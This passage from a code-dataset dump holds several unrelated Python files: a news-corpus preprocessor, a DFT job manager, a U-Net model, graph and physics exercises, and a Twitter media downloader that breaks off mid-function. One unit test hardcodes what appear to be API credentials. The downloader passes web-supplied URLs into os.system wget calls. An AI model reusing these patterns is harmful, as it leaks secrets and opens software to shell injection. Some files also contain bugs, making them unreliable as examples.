'unternehmen_mittelstand', 'wirtschaft_soziales', 'wirtschaft', 'unternehmen', 'unternehmen_management', 'karriere', 'unternehmen_dienstleister', 'unternehmen_industrie', 'Nachrichten_Wirtschaft'],\n 'Finanzen': ['finanzen_immobilien', 'finanzen_anlagestrategie', 'finanzen', 'finanzen_vorsorge', 'Wissen_Finanzen', 'wirtschaft_boerse_', 'finanzen_maerkte', 'immobilien', 'video_finanzen'],\n 'Sport': ['Sport_tennis', 'Sport_Fussball', 'Sport_mehr', 'Sport_d', 'Sport_us', 'Sport_formel1', 'sport'],\n 'Sonstiges': ['dev', 'spiegel', '2017', '21', 'allgemein', 'schlusslicht', '25', 'videos', 'incoming', 'fernsehen', 'Nachrichten_n24', 'campus', 'studium', 'feature', 'magazin', 'panorama', 'positionen', 'Nachrichten_Panorama', 'einestages', 'imBild', 'vorabmeldungen', 'feuilleton', 'debatte', 'features', 'vermischtes', 'aktion', 'panorama', 'hintergrund', 'mobilitaet', 'freitext', 'video_panorama', '2016'],\n 'Ignore': ['newsletter', 'my', 'icon', 'videoblog', 'anzeigen', 'fotos', 'Teletext', 'images', 'quiztool', 'ardimport', 'leserbriefe', 'kolumnen_oliver', 'sptv', 'focustv', '22', 'kommentar', '32', '28', 'multimedia', 'video', 'kolumnen_Prof', 'fotostrecke'],\n 'Lokal': ['kommunalpolitik', 'nrw', 'hamburg', 'deutschland', 'inland', 'regionales', 'regional'],\n 'Lifestyle': ['shopping', 'stil', 'entdecken', 'lebenundlernen', 'reisen', 'Nachrichten_Verbraucher', 'familie', 'reise', 'leben', 'ratgeber', 'erfolg', 'Wissen_Gesundheit', 'Wissen_Reise', 'leute', 'gesundheit', 'spiele', 'gesellschaft']\n}\n\ndef tryGetCategoryHardcoded(source):\n if 'sportschau' in source:\n return 'sport'\n else:\n return ''\n\ndef getFreeformCategory(entry):\n site = entry['site']\n source = entry['source']\n matcher = category_extractors[site]\n if matcher is None:\n return\n\n try:\n result = matcher.match(source)\n except AttributeError:\n return matcher\n else:\n if result != None:\n #if there are subcategories, join them with an underscore\n return '_'.join([x for x in result.groups() if x != None])\n else:\n return tryGetCategoryHardcoded(source)\n\ndef mapFreeformCategory(freeformCategory):\n for mapping, mapped_categories in category_mapping.items():\n if freeformCategory in mapped_categories:\n return mapping\n\ndef normalize(text):\n norm_text = re.sub(r'\"|“|„|“', ' ', text)\n norm_text = normalizr.normalize(norm_text, normalizations)\n return norm_text.lower()\n\nif __name__ == '__main__':\n\n if len(sys.argv) < 3:\n print(__doc__ % sys.argv[0].split(\"/\")[-1])\n sys.exit(1)\n\n output_dir = sys.argv[1]\n corpus_name = sys.argv[2]\n\n print('connecting to db...')\n client = MongoClient('mongodb://localhost:27017/')\n db = client.articles\n\n all_articles = db.articles.find()\n\n saved_messages = 0\n print('found {} articles in db'.format(all_articles.count()))\n print('saving to disk')\n categories = {category: [] for category in category_mapping}\n\n # this list contains all freefor categories that could not be mapped to a predefined\n # category using the mapping in category_mapping\n unmapped_categories = set()\n\n for article in all_articles:\n\n freeformCategory, text = getFreeformCategory(article), normalize(article['text'])\n\n #normalize the text\n norm_text = normalize(text)\n\n category = mapFreeformCategory(freeformCategory)\n if category is None:\n unmapped_categories.add(freeformCategory)\n else:\n categories[category].append(norm_text)\n\n #print the current article count for each category\n count_stats = {category: len(items) for (category, items) in categories.items()}\n sys.stdout.write(\"\\r {} / {} : {}\".format(saved_messages, all_articles.count(), count_stats))\n saved_messages += 1\n\n print('\\n')\n print('\\n')\n\n print('saving corpora')\n for category_name, category in categories.items():\n file_name = output_dir + corpus_name + category_name + '.txt'\n print('saving {} corpus as {}'.format(category_name, file_name))\n category_file = codecs.open(file_name, 'w', 'utf-8')\n for text in category:\n category_file.write(text + '\\n')\n\n category_file.close()\n\n\n #remove all None and empty string values from the list\n unmapped_categories = list(filter(None, unmapped_categories))\n if len(unmapped_categories) > 0:\n print('freeform categories that could not be mapped: {}'.format(unmapped_categories))\n print('consider adding them to the mapping')\n\n #print('corpus saved to file {}'.format(out_file_path))\n print('done.')\n print('')\n","sub_path":"news/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"555558461","text":"# Density_Function_Theory - KIT v1.0.0 \n# August 2014\n# Class for controling job running process and maintain necessary folders\n\n# next : savepoint? to restart the calculation\n\nimport os\nimport sys\nimport shutil\n\nfrom DFT_KIT.interface import interface\n\nclass job:\n def __init__(self,subdir=True,job_manager_mode=False,write_post_process=True,save_output_data=True,system='DFT simulation',dir_task_prefix='task_',verbosity=True,**parms):\n self.root_dir=os.getcwd()+'/'\n self.subdir=subdir #make subdir structure\n self.all_dir=[]\n self.count=0\n self.main_dir=''\n self.task_prefix=dir_task_prefix\n self.verbose=verbosity\n self.temp_dir=''\n self.scriptmode=False\n self.dft_script_cmds=[]\n \n self.system=system\n self.parms={}\n for ind_key in parms:\n self.parms[ind_key]=parms[ind_key]\n \n if subdir:\n self.create_taskdir(True)\n else:\n self.main_dir=self.root_dir\n self.all_dir.append(self.main_dir)\n self.common_dir=''\n self.job_mamanger_mode=job_manager_mode\n self.opt_parm={'cpu':1}\n \n self.post_process_dir=''\n self.write_post_process=write_post_process\n if write_post_process:\n self.post_process_dir=self.root_dir+'dft_post_process/'\n if not os.path.exists(self.post_process_dir):\n os.mkdir(self.post_process_dir)\n \n #include prefix, filename, etc.\n self.sys_info={'description':'DFT simulation with DFT_KIT',\n 'dft_post_process':'dft_post_process',\n 'qes_prefix':'qespre',\n 'qes_fname':'qespresso',\n 'siesta_prefix':'siesta',\n 'wan90_seedname':'wan90'}\n \n self.save_output_data=save_output_data\n self.save_output=[]\n \n \n def record_save_output(self,data):\n self.save_output.append(data) \n \n def end_job(self,save_output_fname='dft_job_output'):\n if self.save_output_data:\n self.show('job', 'save output data record')\n interface.pickle_save(self.post_process_dir+self.save_output_fname, self.save_output)\n \n \n def back_to_root(self):\n os.chdir(self.root_dir)\n \n def process_opt_parm(self,opt_parm):\n if 'jm_cpu' in opt_parm:\n self.job_mamanger_mode=True\n self.opt_parm['cpu']=int(opt_parm['jm_cpu'])\n \n def load_opt_parm(self,opt_parm): \n for ind_key in opt_parm:\n if ind_key=='cpu':\n self.opt_parm['cpu']=int(opt_parm['cpu'])\n else:\n self.opt_parm[ind_key]=opt_parm[ind_key]\n \n def set_job_manager_mode(self,mode):\n self.job_mamanger_mode=mode\n def set_temp_dir(self,dir_name):\n self.temp_dir=self.root_dir+dir_name+'/'\n def set_common_dir(self,full_dir):\n self.common_dir=full_dir\n def copy_from_common(self,fname):\n shutil.copy(self.common_dir+fname,self.main_dir)\n def copy_to_common(self,fname):\n shutil.copy(self.main_dir+fname,self.common_dir)\n def set_sysinfo(self,ind_key,val):\n self.sys_info[ind_key]=val\n def get_sysinfo(self,ind_key):\n return self.sys_info[ind_key]\n def make_fname_sysinfo(self,ind_key):\n return self.sys_info[ind_key]+'_'+str(self.count)\n #create temp/postana dir\n def get_maindir(self):\n return self.main_dir\n \n def set_verbosity(self,verbosity):\n self.verbose=verbosity\n def show_verbose(self,src,message):\n if self.verbose:\n print('DFT_KIT(V):' + src +': ' + message)\n else:\n pass\n def show(self,src,message):\n print('DFT_KIT:' +src +': ' +message)\n def show_error(self,src,message):\n print('DFT_KIT(ERROR):' +src +': ' +message)\n def get_info(self,src,prompt,force_enter):\n tmp_return=''\n if self.scriptmode:\n tmpcmd=self.take_script_cmd()\n self.show(src, prompt +\"[S]\"+tmpcmd)\n tmp_return = tmpcmd\n else:\n tmp_return = raw_input('DFT_KIT:'+src+': '+prompt+' ')\n while tmp_return =='' and force_enter:\n if self.scriptmode:\n tmpcmd=self.take_script_cmd()\n self.show(src, prompt +\"[S]\"+tmpcmd)\n tmp_return = tmpcmd\n else:\n tmp_return = raw_input('DFT_KIT:'+src+': '+prompt+' ')\n return tmp_return\n \n def copy_from_task(self,from_task,fname):\n dir_from=self.all_dir[from_task]\n dir_to=self.main_dir\n shutil.copy(dir_from+fname, dir_to)\n \n def create_taskdir(self,init_create=False):\n if not self.subdir:\n self.show_error('DFT_job', 'subdir not properly set')\n return 0\n if not init_create:\n self.count=self.count+1\n dir_tmp=self.root_dir+self.get_task_dirname(self.count)+'/'\n self.all_dir.append(dir_tmp)\n os.mkdir(dir_tmp)\n os.chdir(dir_tmp)\n self.main_dir=dir_tmp\n \n def get_task_dirname(self,task_):\n return self.task_prefix+str(task_)\n \n def set_parms(self,ind_key,parm_val):\n self.parms[ind_key]=parm_val\n def get_parms(self,ind_key):\n return self.parms[ind_key]\n def remove_parms(self,ind_key):\n del self.parms[ind_key]\n def next_task(self,make_new_dir):\n if make_new_dir and self.subdir:\n self.show('job', 'create new task and its directory')\n self.create_taskdir()\n else:\n self.show('job', 'create new task')\n self.count=self.count+1\n self.all_dir.append(self.main_dir)\n def make_fname(self,prefix):\n return prefix+'_'+str(self.count)\n def load_script(self,scriptfile):\n with open(scriptfile) as fp:\n for line in fp:\n if line[-1]=='\\n':\n line=line[:-1]\n self.dft_script_cmds.append(line)\n if len(self.dft_script_cmds)>0:\n self.scriptmode=True\n \n def take_script_cmd(self):\n if not self.scriptmode:\n self.show_error('DFT_job','Not in script mode')\n return ''\n if len(self.dft_script_cmds)==1:\n self.scriptmode=False\n if len(self.dft_script_cmds)>=1:\n cmd=self.dft_script_cmds.pop(0)\n return cmd\n else:\n self.show_error('DFT_job','Not consistent in script mode')\n self.scriptmode=False\n return ''\n","sub_path":"core/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":6658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"508889704","text":"\"\"\"\nauthor rochanaph\nOctober 23 2017\"\"\"\n\nimport w3,w4,w5, os\n\n#reload(sys) \n#sys.setdefaultencoding('utf8')\n\ndef findSim(keyword, path):\n\n # membuat dictionary articles\n # membaca semua file .txt yang berada di direktori path(text files)\n # kemudian dimasukan kedalam dictionary articles dengan nama item/index(nama dokumen)\n articles = {}\n for item in os.listdir(path):\n if item.endswith(\".txt\"):\n with open(path + item, 'r') as file:\n articles[item] = w3.prepro_base(file.read())\n\n # memasukan kata kunci kedalam dictionary dengan nama item/index(keyword_index)\n # kemudian dimasukan ke dictionary articles dengan value keyword yang dimasukan\n kata_kunci = 'keyword_index'\n articles[kata_kunci] = w3.prepro_base(keyword)\n #menampilkan isi deskripsi sesuai dengan token yang ada \n isi_doc = {}\n for isi in os.listdir(path):\n if isi.endswith(\".txt\"):\n with open(path + isi,'r') as file:\n isi_doc[isi] = file.readline()\n \n\n # membuat list list_of_bow\n # yang kemudian dimasukan token-token unik di setiap dokumennya\n list_of_bow = []\n for key, value in articles.items():\n list_token = value.split(\".\")\n dic = w4.bow(list_token)\n list_of_bow.append(dic)\n\n # membuat matrix tiap-tiap dokumen dengan token unik dari semua dokumen\n matrix_akhir = w4.matrix(list_of_bow)\n\n # mencari id/urutan keyword_index\n # membuat dictionary presentase untuk semua dokumen\n id_keyword = articles.keys().index(kata_kunci)\n presentase = {}\n for key, vektor in zip(articles.keys(), matrix_akhir):\n if key != kata_kunci:\n presentase[key] = w5.cosine(matrix_akhir[id_keyword], vektor)\n \n\n return w4.sortdic(presentase,baris , descending=True)\n\npath=\"./text files/\"\nkeyword=\"JAKARTA\"\nbaris = []\nfor item in os.listdir(path):\n if item.endswith(\".txt\"):\n files = open(path + item, 'r', encoding = 'utf-8')\n for line in files:\n if keyword in line: baris.append(line)\nprint(baris)\n ","sub_path":"_scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"317136299","text":"import unittest\n\nfrom rongcloud.rongcloud import RongCloud\n\n\nclass BaseTestCase(unittest.TestCase):\n def test_second_url(self):\n rc = RongCloud('8luwapkvucoil', 'y0icysjl4h3LWz', 'http://wrong-url.com;http://api2-cn.ronghub.com')\n rep = rc.get_user().get_block().query()\n if rep['code'] != 200:\n rep = rc.get_user().get_block().query()\n self.assertEqual(rep['code'], 200, rep)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"unit_test/base_unittest.py","file_name":"base_unittest.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"262883956","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 30 15:06:12 2018\n\n@author: kueifang\n\"\"\"\nfrom gaussxw import gaussxwab\nfrom math import floor, log10, exp\nimport scipy.constants as scicon\ndef round_to_3(x):\n return round(x, 3-int(floor(log10(abs(x))))-1)\n\n\n\npi = scicon.pi\nKb = scicon.value(\"Boltzmann constant\")\nc = scicon.c\nh_head = scicon.value(\"Planck constant over 2 pi\")\nsigma = scicon.sigma\n\n\ndef f(x):\n return ((x/(1-x))**3) / (exp(x/(1-x) )-1)/((1-x)**2)\n\n\nN = 30\na = 0.0\nb = 1.0\n\nx,w = gaussxwab(N, a, b)\ns = 0.0\nfor k in range(N):\n s+= w[k]* f(x[k])\n \n\nprint(s)\n\n\nT =1\n\nsb_con = (Kb*T)**4/(4*(pi**2)*(c**2)*(h_head**3))\n\nfirst = round_to_3(sb_con*s)\nsecond = round_to_3(sigma *(T**4))\n\nprint(sb_con*s, sigma *(T**4))\nprint(first , second)\n\n","sub_path":"EEE591_python/week2/exercise_version_1_5_12.py","file_name":"exercise_version_1_5_12.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"32752411","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass SegmenterModel(nn.Module):\n def __init__(self):\n super(SegmenterModel, self).__init__()\n self.init_ch = 64 # число каналов после первой свёртки\n self.n_levels = 4 # число уровней до \"основания\" параболы\n\n # raise NotImplementedError()\n\n def forward(self, x):\n # raise NotImplementedError()\n pass\n\n def predict(self, x):\n # на вход подаётся одна картинка, а не батч, поэтому так\n y = self.forward(x.unsqueeze(0).cuda())\n return (y > 0).squeeze(0).squeeze(0).float().cuda()\n\n\nclass Unet_2(SegmenterModel):\n def __init__(self):\n super(Unet, self).__init__()\n self.sigmoid = nn.Sigmoid()\n\n # pool, unpool\n self.pool = nn.MaxPool2d(kernel_size=(2, 2), stride=2, return_indices=True)\n self.unpool = nn.MaxUnpool2d(kernel_size=(2, 2))\n\n # encoder\n self.enc_conv0 = nn.Sequential(\n nn.Conv2d(in_channels=3, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n )\n\n self.enc_conv1 = nn.Sequential(\n nn.Conv2d(in_channels=64, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(in_channels=128, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n )\n\n self.enc_conv2 = nn.Sequential(\n nn.Conv2d(in_channels=128, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(in_channels=256, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n )\n\n self.enc_conv3 = nn.Sequential(\n nn.Conv2d(in_channels=256, out_channels=512, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(in_channels=512, out_channels=512, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n )\n\n # bottleneck\n self.bottleneck = nn.Sequential(\n nn.Conv2d(\n in_channels=512, out_channels=1024, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(1024),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=1024, out_channels=1024, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(1024),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=1024, out_channels=512, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n )\n\n # decoder\n self.dec_conv0 = nn.Sequential(\n nn.Conv2d(\n in_channels=1024, out_channels=512, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(in_channels=512, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n )\n\n self.dec_conv1 = nn.Sequential(\n nn.Conv2d(in_channels=512, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(in_channels=256, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n )\n\n self.dec_conv2 = nn.Sequential(\n nn.Conv2d(in_channels=256, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(in_channels=128, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n )\n\n self.dec_conv3 = nn.Sequential(\n nn.Conv2d(in_channels=128, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=64, out_channels=1, kernel_size=(1, 1)\n ), # after last conv no activations\n )\n\n def forward(self, x):\n # encoder\n enc_conv0_output = self.enc_conv0(x)\n e0, indices1 = self.pool(enc_conv0_output)\n\n enc_conv1_output = self.enc_conv1(e0)\n e1, indices2 = self.pool(enc_conv1_output)\n\n enc_conv2_output = self.enc_conv2(e1)\n e2, indices3 = self.pool(enc_conv2_output)\n\n enc_conv3_output = self.enc_conv3(e2)\n e3, indices4 = self.pool(enc_conv3_output)\n\n # bottleneck\n b = self.bottleneck(e3)\n\n # decoder\n d0 = self.dec_conv0(\n torch.cat((self.unpool(b, indices4), enc_conv3_output), dim=1)\n )\n d1 = self.dec_conv1(\n torch.cat((self.unpool(d0, indices3), enc_conv2_output), dim=1)\n )\n d2 = self.dec_conv2(\n torch.cat((self.unpool(d1, indices2), enc_conv1_output), dim=1)\n )\n d3 = self.dec_conv3(\n torch.cat((self.unpool(d2, indices1), enc_conv0_output), dim=1)\n ) # no activation\n\n # d3_activation = self.sigmoid(d3)\n return d3\n","sub_path":"hw_6(deep_learning)/model_2.py","file_name":"model_2.py","file_ext":"py","file_size_in_byte":5726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"366508714","text":"\"\"\"Setuptools entrypoint.\"\"\"\nimport codecs\nimport os\n\nfrom setuptools import setup, find_packages\n\nfrom humilis_apigtw_resource import __version__\n\ndirname = os.path.dirname(__file__)\n\ntry:\n import pypandoc\n long_description = pypandoc.convert('README.md', 'rst')\nexcept(IOError, ImportError, RuntimeError):\n long_description = codecs.open(os.path.join(dirname, \"README.md\"),\n encoding=\"utf-8\").read()\n\nlong_description = (\n long_description + \"\\n\" +\n codecs.open(os.path.join(dirname, \"AUTHORS.rst\"),\n encoding=\"utf-8\").read() + \"\\n\" +\n codecs.open(os.path.join(dirname, \"CHANGES.rst\"),\n encoding=\"utf-8\").read()\n)\n\n\nsetup(\n name=\"humilis-apigtw-resource\",\n include_package_data=True,\n package_data={\"\": [\"*.j2\", \"*.yaml\"]},\n packages=find_packages(),\n version=__version__,\n author=\"German Gomez-Herrero, FindHotel, and others\",\n author_email=\"developers@innovativetravel.eu\",\n url=\"https://github.com/humilis/humilis-apigtw-resource\",\n license=\"MIT\",\n description=\"Humilis plugin to add API Gateway support to Cloudformation\",\n long_description=long_description,\n install_requires=[\"humilis>=0.4.1\", \"lambdautils\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 2\"],\n zip_safe=False,\n entry_points={\n \"humilis.layers\": [\n \"apigtw-resource=humilis_apigtw_resource.plugin:get_layer_path\"]}\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"582056681","text":"from collections import deque\n\ndef bfs(s,nList,color,icol):\n\n \n UNVISITED=0\n ENTERED=1\n VISITED=2\n state=[UNVISITED]*len(nList)\n Q=deque([])\n\n Q.append(s)\n state[s]=ENTERED\n color[s]=icol\n while(len(Q)>0):\n current=Q.popleft()\n for next in nList[current]:\n if state[next]==UNVISITED:\n Q.append(next)\n state[next]=ENTERED\n color[next]=icol\n state[current]=VISITED\n\n return\n\ndef main():\n n,m=list(map(int,input().split()))\n nList=[]\n for _ in range(n):\n nList.append([])\n\n for _ in range(m):\n s,t=list(map(int,input().split()))\n nList[s].append(t)\n nList[t].append(s)\n\n q=int(input())\n\n icol=-1\n color=[icol]*n\n for i in range(n):\n if (color[i]==-1):\n icol+=1\n bfs(i,nList,color,icol)\n \n\n for _ in range(q):\n s,t=list(map(int,input().split()))\n if (color[s] == color[t]):\n print('yes')\n else:\n print('no')\n \nif __name__=='__main__':\n main()\n\n\n \n\n","sub_path":"AOJ/12.5/alds1-11-d-2.py","file_name":"alds1-11-d-2.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"162685935","text":"import config_\nimport sys, os, json, time\nfrom io import BytesIO\nimport requests\nfrom pymongo import MongoClient\nfrom PIL import Image\nfrom pprint import pprint\n\nclient = MongoClient(config_.mongodb_url)\ndb = client.twitter\n\nsession = requests.Session()\n\ndef wait_limit_reset(res):\n #if int(res.headers[\"x-rate-limit-remaining\"]) == 0:\n #if float(res.headers[\"x-rate-limit-remaining\"]) / float(res.headers[\"x-rate-limit-limit'\"]) < 0.01:\n if float(res.headers[\"x-rate-limit-remaining\"]) < 3:\n print(\"wait for {0} seconds until reset\".format(\n int(res.headers[\"x-rate-limit-reset\"])-time.time()))\n time.sleep(int(res.headers[\"x-rate-limit-reset\"])-time.time()+ 10)\n \ndef check_res(res):\n res_json = json.loads(res.text)\n if isinstance(res_json,dict) and \"errors\" in res_json.keys():\n print(json.dumps(res_json,indent=2))\n wait_limit_reset(res)\n\ndef name2id(screen_name):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"screen_name\": screen_name}\n res = config_.twitter.get(url, params=params)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)[\"id_str\"]\n\ndef id2name(user_id):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"user_id\": user_id}\n res = config_.twitter.get(url, params=params)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)[\"screen_name\"]\n\ndef get_id(string):\n _id = \"\"\n screen_name = \"\"\n user_id = \"\"\n if \"-\" in string:\n user_id = string.split(\"-\")[0]\n screen_name = id2name(user_id)\n elif string.isdigit():\n user_id = string\n screen_name = id2name(user_id)\n else:\n screen_name = string\n user_id = name2id(screen_name)\n\n _id = user_id + \"-\" + screen_name\n\n print('====================================================')\n print(\"ID={0}\".format(_id))\n print('====================================================')\n\n return _id, user_id, screen_name\n\ndef print_error(msg, tweet_id, screen_name, media_url, path):\n with open(\"error.txt\", \"a\") as f:\n f.write(\"#\" + msg + \"\\n\")\n f.write(\"# TWEET URL: https://twitter.com/{0}/status/{1}\\n\".format(screen_name, tweet_id))\n f.write(\"wget -O {0} {1}\\n\".format(path, media_url))\n return\n\ndef save_media(tweet):\n # print(\"save media\")\n if db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}) == None:\n return\n if not \"extended_entities\" in tweet.keys():\n return\n\n user_id = tweet[\"user\"][\"id_str\"]\n screen_name = tweet[\"user\"][\"screen_name\"]\n directory = \"{0}/{1}\".format(config_.top, user_id)\n if not os.path.exists(directory):\n os.mkdir(directory)\n db.tweets.update(\n {\"tweet_id\": tweet[\"id\"]},\n {\"$set\":{\"user_id\": tweet[\"user\"][\"id\"]}}\n )\n\n for media in tweet[\"extended_entities\"][\"media\"]:\n path = \"{0}/{1}-{2}-{3}\".format(directory, user_id, tweet[\"id\"], media[\"media_url\"].split(\"/\")[-1])\n\n if db.tweets.find_one({\"media.filename\": path.split(\"/\")[-1]}) != None:\n # print(\"skip\")\n db.tweets.update(\n {\"media.filename\": path.split(\"/\")[-1]},\n {\"$set\":{\n \"media.$.filetype\": media[\"type\"],\n \"media.$.url\": media[\"media_url\"]\n }}\n )\n continue\n\n if media[\"type\"] == \"photo\":\n try:\n r = session.get(media[\"media_url\"] + \":orig\")\n i = Image.open(BytesIO(r.content))\n i.save(path)\n except:\n print_error(\"image download failed\", tweet[\"id\"], screen_name, media[\"media_url\"], path)\n continue\n elif media[\"type\"] == \"video\":\n bitrate = 0\n url = \"\"\n for variant in media[\"video_info\"][\"variants\"]:\n if variant[\"content_type\"] == \"video/mp4\" and variant[\"bitrate\"] > bitrate:\n bitrate = variant[\"bitrate\"]\n url = variant[\"url\"]\n if url != \"\":\n r = os.system(\"wget -q -O {0} {1}\".format(path, url))\n if r != 0:\n print_error(\"video download failed\", tweet[\"id\"], screen_name, url, path)\n elif media[\"type\"] == \"animated_gif\":\n for variant in media[\"video_info\"][\"variants\"]:\n if variant[\"content_type\"] == \"video/mp4\":\n url = variant[\"url\"]\n r = os.system(\"wget -q -O {0} {1}\".format(path, url))\n if r != 0:\n print_error(\"gif download failed\", tweet[\"id\"], screen_name, url, path)\n else:\n with open(\"error.txt\", \"a\") as f:\n f.write(\"# undefined media type\\n\")\n f.write(\"https://twitter.com/{0}/status/{1}\\n\".format(tweet[\"user\"][\"screen_name\"], tweet[\"id\"]))\n f.write(\"{0}\\n\".format(media[\"type\"]))\n f.write(\"{0}: {1}\\n\".format(tweet[\"user\"][\"name\"], tweet[\"full_text\"]))\n f.write(\"{0}\\n\".format(media[\"expanded_url\"]))\n db.tweets.update(\n {\"tweet_id\": tweet[\"id\"]},\n {\"$push\": {\"media\": {\n \"filename\": path.split(\"/\")[-1],\n \"filetype\": media[\"type\"],\n \"url\": media[\"media_url\"]\n }}},\n True\n )\n # pprint(db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}))\n return\n\ndef save_tweet(tweet):\n # print(\"save tweet\")\n db.tweets.update({\"tweet_id\": tweet[\"id\"]},\n {\"$set\": {\n \"user_id\": tweet[\"user\"][\"id\"],\n \"user_id_str\": tweet[\"user\"][\"id_str\"],\n \"screen_name\": tweet[\"user\"][\"screen_name\"],\n \"full_text\": tweet[\"full_text\"],\n \"tweet_id_str\": tweet[\"id_str\"]\n }},True)\n #print(db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}))\n\ndef update_user_detail(user):\n # print(\"update user detail\")\n db.users.update({\"_id\": user[\"id\"]},\n {\"$set\": {\n \"screen_name\": user[\"screen_name\"],\n \"name\": user[\"name\"],\n \"_id_str\": user[\"id_str\"],\n \"profile_image_url\": user[\"profile_image_url_https\"]\n }},True)\n # print(db.users.find_one({\"_id\": tweet[\"user\"][\"id\"]}))\n\ndef get_user_detail(user_id):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"user_id\":user_id}\n res = config_.twitter.get(url, params=params)\n j = json.loads(res.text)\n if not \"errors\" in j.keys():\n update_user_detail(j)\n else:\n print(json.dumps(j, indent=4))\n\ndef get_status(status_id):\n url = \"https://api.twitter.com/1.1/statuses/show.json\"\n params = {\"id\": status_id, \"include_entities\":True,\"tweet_mode\": \"extended\",\"trim_user\":False}\n res = config_.twitter.get(url, params=params)\n wait_limit_reset(res)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)\n\ndef process_tweet(tweet):\n print(\"# {0} https://twitter.com/{2}/status/{1}\"\n .format(tweet[\"created_at\"], tweet[\"id\"], tweet[\"user\"][\"screen_name\"]))\n if \"retweeted_status\" in tweet.keys():\n update_user_detail(tweet[\"user\"])\n tweet = tweet[\"retweeted_status\"]\n if \"quoted_status\" in tweet.keys():\n update_user_detail(tweet[\"user\"])\n tweet = tweet[\"quoted_status\"]\n update_user_detail(tweet[\"user\"])\n #if db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}) == None:\n # return\n save_tweet(tweet)\n save_media(tweet)\n\ndef list_members(screen_name, slug):\n url = \"https://api.twitter.com/1.1/lists/members.json\"\n params = {\"slug\": slug, \"owner_screen_name\": screen_name, \"include_entities\": \"false\", \"count\": \"5000\"}\n if screen_name == \"saga_kana\":\n r = config_.sessions[\"saga_kana\"][\"apps\"].get(url, params=params)\n else:\n r = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n users = json.loads(r.text)\n if not \"users\" in users.keys():\n print(r.headers)\n print(json.dumps(users,indent=2))\n user_list = {}\n #print(json.dumps(users,indent=4))\n for user in users[\"users\"]:\n #print(\"{0},{1}\".format(user[\"id\"],user[\"screen_name\"]))\n user_list[user[\"screen_name\"]] = user[\"id\"]\n return user_list\n\ndef copy_list(from_name, from_slug, to_name, to_slug):\n try:\n from_list = list_members(from_name, from_slug)\n to_list = list_members(to_name, to_slug)\n except Exception as e:\n print(\"Exception at copy_list\")\n print(e)\n return\n lists = []\n for name in from_list.keys():\n if 